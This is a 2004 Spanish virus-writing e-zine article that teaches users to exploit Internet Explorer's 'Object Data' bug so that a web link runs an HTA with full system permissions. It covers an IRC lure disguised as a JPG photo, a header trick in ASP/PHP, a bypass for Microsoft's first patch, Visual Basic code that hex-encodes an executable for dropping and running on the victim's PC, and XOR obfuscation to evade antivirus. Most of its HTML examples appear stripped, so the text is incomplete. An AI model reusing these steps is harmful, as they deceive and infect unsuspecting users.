(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : Bug del Object Data Autor : MachineDramon Válido para : vbs o js en IE 5.5 - 6.0 La etiqueta en html se puede usar para colocar animaciones, flash, video, sonido, imagenes, activex etc en una pagina web. El bug reside en la propiedad data de la etiqueta, si por ejemplo colocamos: IE no activara el exe porque es una extencion no segura. Pero si le pasamos una extencion segura como php o asp y se le envia al navegador una cabecera http indicando que el archivo es un hta, el archivo es ejecutado como hta (HTML Application) por el mshta.exe con todos los permisos. Teoricamente debe funcionar en IE 5.x y 6.x y todos los win de 98 a Xp Habran notado que cuando usamos para el bug aparece un pequeño cuadradito en la page, si se quiere evitar pongan: Aunque para cuando el user vea el cuadradito si es que lo ve, ya sera muy tarde. Ahora como hacerlo: -------------------- La demostracion esta orientada al irc, a que el usuario haga click en un vinculo del tipo: http://www.miserver.com/cuenta/foto.jpg y se le ejecute el hta, y tambien vea la foto. 1)Conseguir un server, de preferencia gratuito que soporte php o asp luego abrimos una cuenta con algun nombre, creamos dentro de nuestra cuenta una carpeta "foto.jpg" cosa que nuestra url quede http://www.miserver.com/cuenta/foto.jpg/ ,esto es importante para el engaño, ya que al ver el vinculo http://www.miserver.com/cuenta/foto.jpg pensara que es una foto (jpg), cuando en realidad es un directorio /foto.jpg/ y como los servers siempre muestran el index dentro del directorio entonces lo que vera sera /foto.jpg/index.htm 2)Hacemos un index.htm mas o menos asi: el 1° frame carga el htm que acciona el bug, y el otro carga la imagen ha mostrar ----------------------------------------------------------- ----------------------------------------------------------- 3)El archivo image.htm debe tener el html que muestre la imagen: 4)el archivo bug.htm debe tener el html que llame al archivo bug.php para originar el bug Originalmente bastaria con colocar: pero microsoft saco un parche que impedia hacerlo de esa forma, pero fiel a la costumbre el parche tambien tenia errores si se insertaba de forma dinamica el html funcionaba el bug: Se usa innerHTML para insertar html en forma dinamica, aunque no es la unica forma. --------------------------------------------------------- --------------------------------------------------------- Luego se saco un segundo parche que si corregia esto. Y esto para los users paranoicos que se desabilitan la secuencia de comandos activex, las 2 anteriores funcionan con los activex activados pero sigo prefiriendo la 2 forma. Elijan --------------------------------------------------------- ]]> --------------------------------------------------------- 5)Ahora hacemos el php o asp: --------------------------------------------------------------------------- Creamos un archivo txt y escribimos lo siguiente y lo renombramos a php ->code php para enviar la cabecera que indique que se habra como un hta ->(Thx a Falckon por enseñarme esta parte del php) Ó creamos un archivo txt y escribimos lo siguiente y lo renombramos a asp ->code asp para enviar la cabecera que indique que se habra como un hta <% Response.AddHeader "Content-type", "application/hta" %> ->de aqui en adelante con asp o php igual ->Luego ponemos esto para que no se vea la ventana del hta al ejecutarse ->Aqui va el script que se quiere que se ejecute, en vbs o js ----------------------------------------------------------------------------- a)En el Script podemos usar el wscript.shell, el scripting.filesystemobject o cualquier objeto ActiveX Si queremos ejecutar un exe en la pc, debemos pasarlo a hexadecimal primero colocamos este code en visual basic, para pasar el exe a hexadecimal ------------------------------------------------------- Open "c:\mi_exe.exe" For Binary As #1 Open "c:\mi_exe.txt" For Output As #2 A$ = " " While Not EOF(1) Get #1, , A$ B$ = Hex$(Asc(A$)) If Len(B$) = 1 Then B$ = "0" + B$ Print #2, B$; Wend Close ------------------------------------------------------- Lo que nos de en mi_exe.txt lo ponemos en el script a ejecutar de esta forma: -------------------------------------------------------------------------- -------------------------------------------------------------------------- Nota: Es posible que si la pc usa firewall o antivirus que implementan scriptbloking como mcafee o norton, no funcione el bug. Para mayor eficacia se recomienda encriptar el exploit con alguna funcion Ejem: ---------------------------------------------------------------------- Function q(j) On Error Resume Next For R = 1 To Len(j): q = q & Chr(Asc(Mid(j, R, 1)) Xor 7): Next End Function ---------------------------------------------------------------------- Referencias: http://www.cyruxnet.com.ar/object_data.htm Ejemplos en la ezine: 1)Este crea el fso y el ws y muestra un msg con la ruta del folder de windows ->object1.zip 2)Este usa el fso y el ws para crear y ejecutar C:\testG.exe ->object2.zip (C) MITOSIS #2 E-Zine/GEDZAC 2004